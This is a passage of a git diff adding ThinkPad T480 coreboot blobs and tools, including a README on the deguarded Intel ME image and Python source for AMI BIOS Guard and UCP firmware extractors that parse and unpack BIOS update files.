blobs/t480/deguard/data/fpfs/thinkpad_t480 | Bin 0 -> 256 bytes blobs/t480/deguard/data/fpfs/zero | Bin 0 -> 256 bytes blobs/t480/deguard/doc/COPYING.txt | 339 ++++++ blobs/t480/deguard/doc/LICENSE.orig | 17 + blobs/t480/deguard/finalimage.py | 111 ++ blobs/t480/deguard/gen_shellcode.py | 24 + blobs/t480/deguard/generatedelta.py | 76 ++ blobs/t480/deguard/lib/cfg.py | 272 +++++ blobs/t480/deguard/lib/exploit.py | 265 ++++ blobs/t480/deguard/lib/image.py | 127 ++ blobs/t480/deguard/lib/mfs.py | 508 ++++++++ blobs/t480/deguard/mfsutil.py | 173 +++ blobs/t480/download-clean-deguard-me.sh | 97 ++ blobs/t480/gbe.bin | Bin 0 -> 8192 bytes blobs/t480/ifd_16.bin | Bin 0 -> 4096 bytes blobs/t480/me_cleaner/README.md | 85 ++ blobs/t480/me_cleaner/description.md | 2 + blobs/t480/me_cleaner/man/me_cleaner.1 | 157 +++ blobs/t480/me_cleaner/me_cleaner.py | 884 ++++++++++++++ blobs/t480/me_cleaner/setup.py | 22 + 136 files changed, 8286 insertions(+) create mode 100644 blobs/t480/.gitignore create mode 100644 blobs/t480/README.md create mode 100644 blobs/t480/biosutilities/.gitignore create mode 100644 blobs/t480/biosutilities/AMI_PFAT_Extract.py create mode 100644 blobs/t480/biosutilities/AMI_UCP_Extract.py create mode 100644 blobs/t480/biosutilities/Apple_EFI_ID.py create mode 100644 blobs/t480/biosutilities/Apple_EFI_IM4P.py create mode 100644 blobs/t480/biosutilities/Apple_EFI_PBZX.py create mode 100644 blobs/t480/biosutilities/Apple_EFI_PKG.py create mode 100644 blobs/t480/biosutilities/Award_BIOS_Extract.py create mode 100644 blobs/t480/biosutilities/Dell_PFS_Extract.py create mode 100644 blobs/t480/biosutilities/Fujitsu_SFX_Extract.py create mode 100644 blobs/t480/biosutilities/Fujitsu_UPC_Extract.py create mode 100644 blobs/t480/biosutilities/Insyde_IFD_Extract.py create mode 100644 blobs/t480/biosutilities/LICENSE create mode 100644 blobs/t480/biosutilities/Panasonic_BIOS_Extract.py create mode 100644 blobs/t480/biosutilities/Phoenix_TDK_Extract.py create mode 100644 blobs/t480/biosutilities/Portwell_EFI_Extract.py create mode 100644 blobs/t480/biosutilities/README.md create mode 100644 blobs/t480/biosutilities/Toshiba_COM_Extract.py create mode 100644 blobs/t480/biosutilities/VAIO_Package_Extract.py create mode 100644 blobs/t480/biosutilities/common/checksums.py create mode 100644 blobs/t480/biosutilities/common/comp_efi.py create mode 100644 blobs/t480/biosutilities/common/comp_szip.py create mode 100644 blobs/t480/biosutilities/common/externals.py create mode 100644 blobs/t480/biosutilities/common/num_ops.py create mode 100644 blobs/t480/biosutilities/common/path_ops.py create mode 100644 blobs/t480/biosutilities/common/patterns.py create mode 100644 blobs/t480/biosutilities/common/pe_ops.py create mode 100644 blobs/t480/biosutilities/common/struct_ops.py create mode 100644 blobs/t480/biosutilities/common/system.py create mode 100644 blobs/t480/biosutilities/common/templates.py create mode 100644 blobs/t480/biosutilities/common/text_ops.py create mode 100644 blobs/t480/biosutilities/external/requirements.txt create mode 100644 blobs/t480/deguard/.gitignore create mode 100644 blobs/t480/deguard/README.md create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/cfgmgr/cfg_rules create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid1 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid2 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid3 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/pwdmgr/segreto create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/bup/bup_sku/plat_n_sku create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/bup/mbp create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/header create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/namestr create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 create mode 100644 blobs/t480/deguard/data/fpfs/optiplex_3050 create mode 100644 blobs/t480/deguard/data/fpfs/thinkpad_t480 create mode 100644 blobs/t480/deguard/data/fpfs/zero create mode 100644 blobs/t480/deguard/doc/COPYING.txt create mode 100644 blobs/t480/deguard/doc/LICENSE.orig create mode 100755 blobs/t480/deguard/finalimage.py create mode 100755 blobs/t480/deguard/gen_shellcode.py create mode 100755 blobs/t480/deguard/generatedelta.py create mode 100644 blobs/t480/deguard/lib/cfg.py create mode 100644 blobs/t480/deguard/lib/exploit.py create mode 100644 blobs/t480/deguard/lib/image.py create mode 100644 blobs/t480/deguard/lib/mfs.py create mode 100755 blobs/t480/deguard/mfsutil.py create mode 100755 blobs/t480/download-clean-deguard-me.sh create mode 100644 blobs/t480/gbe.bin create mode 100644 blobs/t480/ifd_16.bin create mode 100644 blobs/t480/me_cleaner/README.md create mode 100644 blobs/t480/me_cleaner/description.md create mode 100644 blobs/t480/me_cleaner/man/me_cleaner.1 create mode 100755 blobs/t480/me_cleaner/me_cleaner.py create mode 100755 blobs/t480/me_cleaner/setup.py diff --git a/blobs/t480/.gitignore b/blobs/t480/.gitignore new file mode 100644 index 000000000..a9b63f4a5 --- /dev/null +++ b/blobs/t480/.gitignore @@ -0,0 +1,2 @@ +me.bin +tb.bin \ No newline at end of file diff --git a/blobs/t480/README.md b/blobs/t480/README.md new file mode 100644 index 000000000..2f7d1620a --- /dev/null +++ b/blobs/t480/README.md @@ -0,0 +1,13 @@ +# T480 Blobs + +Coreboot on the T480 requires the following binary blobs: + +- `me.bin` - Consists of Intel’s Management Engine (ME), which was modified and deguarded using [me_cleaner](https://github.com/corna/me_cleaner) and [deguard](https://codeberg.org/libreboot/deguard) (written by Mate Kukri) to remove all but the modules which are necessary for the CPU to function. +- `tb.bin` - Consists of Thunderbolt firmware. +- `gbe.bin` - Consists of hardware/software configuration data for the Gigabit Ethernet (GbE) controller. +- `ifd_16.bin` - Consists of the Intel Flash Descriptor (IFD). + +Heads supplies an IFD and GbE blob, which were copied from libreboot. We changed the MAC address of the GbE blob to `00:de:ad:c0:ff:ee` using [nvmutil](https://libreboot.org/docs/install/nvmutil.html), to support anonymity and build reproducibility. + +When building any T480 board variant with `make`, the build system will download a copy the Intel ME. `me.bin` was extracted from a Dell-Inspiron Windows installer firmware update. + diff --git a/blobs/t480/biosutilities/.gitignore b/blobs/t480/biosutilities/.gitignore new file mode 100644 index 000000000..238b83e2d --- /dev/null +++ b/blobs/t480/biosutilities/.gitignore @@ -0,0 +1,5 @@ +# Skip all external files +external/* + +# Keep external > requirements file +!external/requirements.txt diff --git a/blobs/t480/biosutilities/AMI_PFAT_Extract.py b/blobs/t480/biosutilities/AMI_PFAT_Extract.py new file mode 100644 index 000000000..026b74aea --- /dev/null +++ b/blobs/t480/biosutilities/AMI_PFAT_Extract.py @@ -0,0 +1,319 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +AMI PFAT Extract +AMI BIOS Guard Extractor +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'AMI BIOS Guard Extractor v4.0_a12' + +import os +import re +import sys +import ctypes + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.externals import get_bgs_tool +from common.num_ops import get_ordinal +from common.path_ops import make_dirs, safe_name, get_extract_path, extract_suffix +from common.patterns import PAT_AMI_PFAT +from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +class AmiBiosGuardHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Size', uint32_t), # 0x00 Header + Entries + ('Checksum', uint32_t), # 0x04 ? + ('Tag', char*8), # 0x04 _AMIPFAT + ('Flags', uint8_t), # 0x10 ? + # 0x11 + ] + + def struct_print(self, p): + printer(['Size :', f'0x{self.Size:X}'], p, False) + printer(['Checksum:', f'0x{self.Checksum:04X}'], p, False) + printer(['Tag :', self.Tag.decode('utf-8')], p, False) + printer(['Flags :', f'0x{self.Flags:02X}'], p, False) + +class IntelBiosGuardHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('BGVerMajor', uint16_t), # 0x00 + ('BGVerMinor', uint16_t), # 0x02 + ('PlatformID', uint8_t*16), # 0x04 + ('Attributes', uint32_t), # 0x14 + ('ScriptVerMajor', uint16_t), # 0x16 + ('ScriptVerMinor', uint16_t), # 0x18 + ('ScriptSize', uint32_t), # 0x1C + ('DataSize', uint32_t), # 0x20 + ('BIOSSVN', uint32_t), # 0x24 + ('ECSVN', uint32_t), # 0x28 + ('VendorInfo', uint32_t), # 0x2C + # 0x30 + ] + + def get_platform_id(self): + id_byte = bytes(self.PlatformID) + + id_text = re.sub(r'[\n\t\r\x00 ]', '', id_byte.decode('utf-8','ignore')) + + id_hexs = f'{int.from_bytes(id_byte, "big"):0{0x10 * 2}X}' + id_guid = f'{{{id_hexs[:8]}-{id_hexs[8:12]}-{id_hexs[12:16]}-{id_hexs[16:20]}-{id_hexs[20:]}}}' + + return f'{id_text} {id_guid}' + + def get_flags(self): + attr = IntelBiosGuardHeaderGetAttributes() + attr.asbytes = self.Attributes + + return attr.b.SFAM, attr.b.ProtectEC, attr.b.GFXMitDis, attr.b.FTU, attr.b.Reserved + + def struct_print(self, p): + no_yes = ['No','Yes'] + f1,f2,f3,f4,f5 = self.get_flags() + + printer(['BIOS Guard Version :', f'{self.BGVerMajor}.{self.BGVerMinor}'], p, False) + printer(['Platform Identity :', self.get_platform_id()], p, False) + printer(['Signed Flash Address Map :', no_yes[f1]], p, False) + printer(['Protected EC OpCodes :', no_yes[f2]], p, False) + printer(['Graphics Security Disable :', no_yes[f3]], p, False) + printer(['Fault Tolerant Update :', no_yes[f4]], p, False) + printer(['Attributes Reserved :', f'0x{f5:X}'], p, False) + printer(['Script Version :', f'{self.ScriptVerMajor}.{self.ScriptVerMinor}'], p, False) + printer(['Script Size :', f'0x{self.ScriptSize:X}'], p, False) + printer(['Data Size :', f'0x{self.DataSize:X}'], p, False) + printer(['BIOS Security Version Number:', f'0x{self.BIOSSVN:X}'], p, False) + printer(['EC Security Version Number :', f'0x{self.ECSVN:X}'], p, False) + printer(['Vendor Information :', f'0x{self.VendorInfo:X}'], p, False) + +class IntelBiosGuardHeaderAttributes(ctypes.LittleEndianStructure): + _fields_ = [ + ('SFAM', uint32_t, 1), # Signed Flash Address Map + ('ProtectEC', uint32_t, 1), # Protected EC OpCodes + ('GFXMitDis', uint32_t, 1), # GFX Security Disable + ('FTU', uint32_t, 1), # Fault Tolerant Update + ('Reserved', uint32_t, 28) # Reserved/Unknown + ] + +class IntelBiosGuardHeaderGetAttributes(ctypes.Union): + _fields_ = [ + ('b', IntelBiosGuardHeaderAttributes), + ('asbytes', uint32_t) + ] + +class IntelBiosGuardSignature2k(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Unknown0', uint32_t), # 0x000 + ('Unknown1', uint32_t), # 0x004 + ('Modulus', uint32_t*64), # 0x008 + ('Exponent', uint32_t), # 0x108 + ('Signature', uint32_t*64), # 0x10C + # 0x20C + ] + + def struct_print(self, p): + Modulus = f'{int.from_bytes(self.Modulus, "little"):0{0x100 * 2}X}' + Signature = f'{int.from_bytes(self.Signature, "little"):0{0x100 * 2}X}' + + printer(['Unknown 0:', f'0x{self.Unknown0:X}'], p, False) + printer(['Unknown 1:', f'0x{self.Unknown1:X}'], p, False) + printer(['Modulus :', f'{Modulus[:32]} [...]'], p, False) + printer(['Exponent :', f'0x{self.Exponent:X}'], p, False) + printer(['Signature:', f'{Signature[:32]} [...]'], p, False) + +def is_ami_pfat(input_file): + input_buffer = file_to_bytes(input_file) + + return bool(get_ami_pfat(input_buffer)) + +def get_ami_pfat(input_file): + input_buffer = file_to_bytes(input_file) + + match = PAT_AMI_PFAT.search(input_buffer) + + return input_buffer[match.start() - 0x8:] if match else b'' + +def get_file_name(index, name): + return safe_name(f'{index:02d} -- {name}') + +def parse_bg_script(script_data, padding=0): + is_opcode_div = len(script_data) % 8 == 0 + + if not is_opcode_div: + printer('Error: Script is not divisible by OpCode length!', padding, False) + + return 1 + + is_begin_end = script_data[:8] + script_data[-8:] == b'\x01' + b'\x00' * 7 + b'\xFF' + b'\x00' * 7 + + if not is_begin_end: + printer('Error: Script lacks Begin and/or End OpCodes!', padding, False) + + return 2 + + BigScript = get_bgs_tool() + + if not BigScript: + printer('Note: BIOS Guard Script Tool optional dependency is missing!', padding, False) + + return 3 + + script = BigScript(code_bytes=script_data).to_string().replace('\t',' ').split('\n') + + for opcode in script: + if opcode.endswith(('begin','end')): spacing = padding + elif opcode.endswith(':'): spacing = padding + 4 + else: spacing = padding + 12 + + operands = [operand for operand in opcode.split(' ') if operand] + printer(('{:<12s}' + '{:<11s}' * (len(operands) - 1)).format(*operands), spacing, False) + + return 0 + +def parse_pfat_hdr(buffer, padding=0): + block_all = [] + + pfat_hdr = get_struct(buffer, 0x0, AmiBiosGuardHeader) + + hdr_size = pfat_hdr.Size + hdr_data = buffer[PFAT_AMI_HDR_LEN:hdr_size] + hdr_text = hdr_data.decode('utf-8').splitlines() + + printer('AMI BIOS Guard Header:\n', padding) + + pfat_hdr.struct_print(padding + 4) + + hdr_title,*hdr_files = hdr_text + + files_count = len(hdr_files) + + hdr_tag,*hdr_indexes = hdr_title.split('II') + + printer(hdr_tag + '\n', padding + 4) + + bgt_indexes = [int(h, 16) for h in re.findall(r'.{1,4}', hdr_indexes[0])] if hdr_indexes else [] + + for index,entry in enumerate(hdr_files): + entry_parts = entry.split(';') + + info = entry_parts[0].split() + name = entry_parts[1] + + flags = int(info[0]) + param = info[1] + count = int(info[2]) + + order = get_ordinal((bgt_indexes[index] if bgt_indexes else index) + 1) + + desc = f'{name} (Index: {index + 1:02d}, Flash: {order}, Parameter: {param}, Flags: 0x{flags:X}, Blocks: {count})' + + block_all += [(desc, name, order, param, flags, index, i, count) for i in range(count)] + + _ = [printer(block[0], padding + 8, False) for block in block_all if block[6] == 0] + + return block_all, hdr_size, files_count + +def parse_pfat_file(input_file, extract_path, padding=0): + input_buffer = file_to_bytes(input_file) + + pfat_buffer = get_ami_pfat(input_buffer) + + file_path = '' + all_blocks_dict = {} + + extract_name = os.path.basename(extract_path).rstrip(extract_suffix()) + + make_dirs(extract_path, delete=True) + + block_all,block_off,file_count = parse_pfat_hdr(pfat_buffer, padding) + + for block in block_all: + file_desc,file_name,_,_,_,file_index,block_index,block_count = block + + if block_index == 0: + printer(file_desc, padding + 4) + + file_path = os.path.join(extract_path, get_file_name(file_index + 1, file_name)) + + all_blocks_dict[file_index] = b'' + + block_status = f'{block_index + 1}/{block_count}' + + bg_hdr = get_struct(pfat_buffer, block_off, IntelBiosGuardHeader) + + printer(f'Intel BIOS Guard {block_status} Header:\n', padding + 8) + + bg_hdr.struct_print(padding + 12) + + bg_script_bgn = block_off + PFAT_BLK_HDR_LEN + bg_script_end = bg_script_bgn + bg_hdr.ScriptSize + bg_script_bin = pfat_buffer[bg_script_bgn:bg_script_end] + + bg_data_bgn = bg_script_end + bg_data_end = bg_data_bgn + bg_hdr.DataSize + bg_data_bin = pfat_buffer[bg_data_bgn:bg_data_end] + + block_off = bg_data_end # Assume next block starts at data end + + is_sfam,_,_,_,_ = bg_hdr.get_flags() # SFAM, ProtectEC, GFXMitDis, FTU, Reserved + + if is_sfam: + bg_sig_bgn = bg_data_end + bg_sig_end = bg_sig_bgn + PFAT_BLK_S2K_LEN + bg_sig_bin = pfat_buffer[bg_sig_bgn:bg_sig_end] + + if len(bg_sig_bin) == PFAT_BLK_S2K_LEN: + bg_sig = get_struct(bg_sig_bin, 0x0, IntelBiosGuardSignature2k) + + printer(f'Intel BIOS Guard {block_status} Signature:\n', padding + 8) + + bg_sig.struct_print(padding + 12) + + block_off = bg_sig_end # Adjust next block to start at data + signature end + + printer(f'Intel BIOS Guard {block_status} Script:\n', padding + 8) + + _ = parse_bg_script(bg_script_bin, padding + 12) + + with open(file_path, 'ab') as out_dat: + out_dat.write(bg_data_bin) + + all_blocks_dict[file_index] += bg_data_bin + + pfat_oob_data = pfat_buffer[block_off:] # Store out-of-bounds data after the end of PFAT files + + pfat_oob_name = get_file_name(file_count + 1, f'{extract_name}_OOB.bin') + + pfat_oob_path = os.path.join(extract_path, pfat_oob_name) + + with open(pfat_oob_path, 'wb') as out_oob: + out_oob.write(pfat_oob_data) + + if is_ami_pfat(pfat_oob_data): + parse_pfat_file(pfat_oob_data, get_extract_path(pfat_oob_path), padding) + + in_all_data = b''.join([block[1] for block in sorted(all_blocks_dict.items())]) + + in_all_name = get_file_name(0, f'{extract_name}_ALL.bin') + + in_all_path = os.path.join(extract_path, in_all_name) + + with open(in_all_path, 'wb') as out_all: + out_all.write(in_all_data + pfat_oob_data) + + return 0 + +PFAT_AMI_HDR_LEN = ctypes.sizeof(AmiBiosGuardHeader) +PFAT_BLK_HDR_LEN = ctypes.sizeof(IntelBiosGuardHeader) +PFAT_BLK_S2K_LEN = ctypes.sizeof(IntelBiosGuardSignature2k) + +if __name__ == '__main__': + BIOSUtility(TITLE, is_ami_pfat, parse_pfat_file).run_utility() diff --git a/blobs/t480/biosutilities/AMI_UCP_Extract.py b/blobs/t480/biosutilities/AMI_UCP_Extract.py new file mode 100644 index 000000000..2f59e6fe1 --- /dev/null +++ b/blobs/t480/biosutilities/AMI_UCP_Extract.py @@ -0,0 +1,515 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +AMI UCP Extract +AMI UCP Update Extractor +Copyright (C) 2021-2022 Plato Mavropoulos +""" + +TITLE = 'AMI UCP Update Extractor v2.0_a20' + +import os +import re +import sys +import struct +import ctypes +import contextlib + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.checksums import get_chk_16 +from common.comp_efi import efi_decompress, is_efi_compressed +from common.path_ops import agnostic_path, make_dirs, safe_name, safe_path, get_extract_path +from common.patterns import PAT_AMI_UCP, PAT_INTEL_ENG +from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes, to_string + +from AMI_PFAT_Extract import is_ami_pfat, parse_pfat_file +from Insyde_IFD_Extract import insyde_ifd_extract, is_insyde_ifd + +class UafHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('ModuleTag', char*4), # 0x00 + ('ModuleSize', uint32_t), # 0x04 + ('Checksum', uint16_t), # 0x08 + ('Unknown0', uint8_t), # 0x0A + ('Unknown1', uint8_t), # 0x0A + ('Reserved', uint8_t*4), # 0x0C + # 0x10 + ] + + def _get_reserved(self): + res_bytes = bytes(self.Reserved) + + res_hex = f'0x{int.from_bytes(res_bytes, "big"):0{0x4 * 2}X}' + + res_str = re.sub(r'[\n\t\r\x00 ]', '', res_bytes.decode('utf-8','ignore')) + + res_txt = f' ({res_str})' if len(res_str) else '' + + return f'{res_hex}{res_txt}' + + def struct_print(self, p): + printer(['Tag :', self.ModuleTag.decode('utf-8')], p, False) + printer(['Size :', f'0x{self.ModuleSize:X}'], p, False) + printer(['Checksum :', f'0x{self.Checksum:04X}'], p, False) + printer(['Unknown 0 :', f'0x{self.Unknown0:02X}'], p, False) + printer(['Unknown 1 :', f'0x{self.Unknown1:02X}'], p, False) + printer(['Reserved :', self._get_reserved()], p, False) + +class UafModule(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('CompressSize', uint32_t), # 0x00 + ('OriginalSize', uint32_t), # 0x04 + # 0x08 + ] + + def struct_print(self, p, filename, description): + printer(['Compress Size:', f'0x{self.CompressSize:X}'], p, False) + printer(['Original Size:', f'0x{self.OriginalSize:X}'], p, False) + printer(['Filename :', filename], p, False) + printer(['Description :', description], p, False) + +class UiiHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('UIISize', uint16_t), # 0x00 + ('Checksum', uint16_t), # 0x02 + ('UtilityVersion', uint32_t), # 0x04 AFU|BGT (Unknown, Signed) + ('InfoSize', uint16_t), # 0x08 + ('SupportBIOS', uint8_t), # 0x0A + ('SupportOS', uint8_t), # 0x0B + ('DataBusWidth', uint8_t), # 0x0C + ('ProgramType', uint8_t), # 0x0D + ('ProgramMode', uint8_t), # 0x0E + ('SourceSafeRel', uint8_t), # 0x0F + # 0x10 + ] + + SBI = {1: 'ALL', 2: 'AMIBIOS8', 3: 'UEFI', 4: 'AMIBIOS8/UEFI'} + SOS = {1: 'DOS', 2: 'EFI', 3: 'Windows', 4: 'Linux', 5: 'FreeBSD', 6: 'MacOS', 128: 'Multi-Platform'} + DBW = {1: '16b', 2: '16/32b', 3: '32b', 4: '64b'} + PTP = {1: 'Executable', 2: 'Library', 3: 'Driver'} + PMD = {1: 'API', 2: 'Console', 3: 'GUI', 4: 'Console/GUI'} + + def struct_print(self, p, description): + SupportBIOS = self.SBI.get(self.SupportBIOS, f'Unknown ({self.SupportBIOS})') + SupportOS = self.SOS.get(self.SupportOS, f'Unknown ({self.SupportOS})') + DataBusWidth = self.DBW.get(self.DataBusWidth, f'Unknown ({self.DataBusWidth})') + ProgramType = self.PTP.get(self.ProgramType, f'Unknown ({self.ProgramType})') + ProgramMode = self.PMD.get(self.ProgramMode, f'Unknown ({self.ProgramMode})') + + printer(['UII Size :', f'0x{self.UIISize:X}'], p, False) + printer(['Checksum :', f'0x{self.Checksum:04X}'], p, False) + printer(['Tool Version :', f'0x{self.UtilityVersion:08X}'], p, False) + printer(['Info Size :', f'0x{self.InfoSize:X}'], p, False) + printer(['Supported BIOS:', SupportBIOS], p, False) + printer(['Supported OS :', SupportOS], p, False) + printer(['Data Bus Width:', DataBusWidth], p, False) + printer(['Program Type :', ProgramType], p, False) + printer(['Program Mode :', ProgramMode], p, False) + printer(['SourceSafe Tag:', f'{self.SourceSafeRel:02d}'], p, False) + printer(['Description :', description], p, False) + +class DisHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('PasswordSize', uint16_t), # 0x00 + ('EntryCount', uint16_t), # 0x02 + ('Password', char*12), # 0x04 + # 0x10 + ] + + def struct_print(self, p): + printer(['Password Size:', f'0x{self.PasswordSize:X}'], p, False) + printer(['Entry Count :', self.EntryCount], p, False) + printer(['Password :', self.Password.decode('utf-8')], p, False) + +class DisModule(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('EnabledDisabled', uint8_t), # 0x00 + ('ShownHidden', uint8_t), # 0x01 + ('Command', char*32), # 0x02 + ('Description', char*256), # 0x22 + # 0x122 + ] + + ENDIS = {0: 'Disabled', 1: 'Enabled'} + SHOWN = {0: 'Hidden', 1: 'Shown', 2: 'Shown Only'} + + def struct_print(self, p): + EnabledDisabled = self.ENDIS.get(self.EnabledDisabled, f'Unknown ({self.EnabledDisabled})') + ShownHidden = self.SHOWN.get(self.ShownHidden, f'Unknown ({self.ShownHidden})') + + printer(['State :', EnabledDisabled], p, False) + printer(['Display :', ShownHidden], p, False) + printer(['Command :', self.Command.decode('utf-8').strip()], p, False) + printer(['Description:', self.Description.decode('utf-8').strip()], p, False) + +# Validate UCP Module Checksum-16 +def chk16_validate(data, tag, padd=0): + if get_chk_16(data) != 0: + printer(f'Error: Invalid UCP Module {tag} Checksum!', padd, pause=True) + else: + printer(f'Checksum of UCP Module {tag} is valid!', padd) + +# Check if input is AMI UCP image +def is_ami_ucp(in_file): + buffer = file_to_bytes(in_file) + + return bool(get_ami_ucp(buffer)[0] is not None) + +# Get all input file AMI UCP patterns +def get_ami_ucp(in_file): + buffer = file_to_bytes(in_file) + + uaf_len_max = 0x0 # Length of largest detected @UAF|@HPU + uaf_buf_bin = None # Buffer of largest detected @UAF|@HPU + uaf_buf_tag = 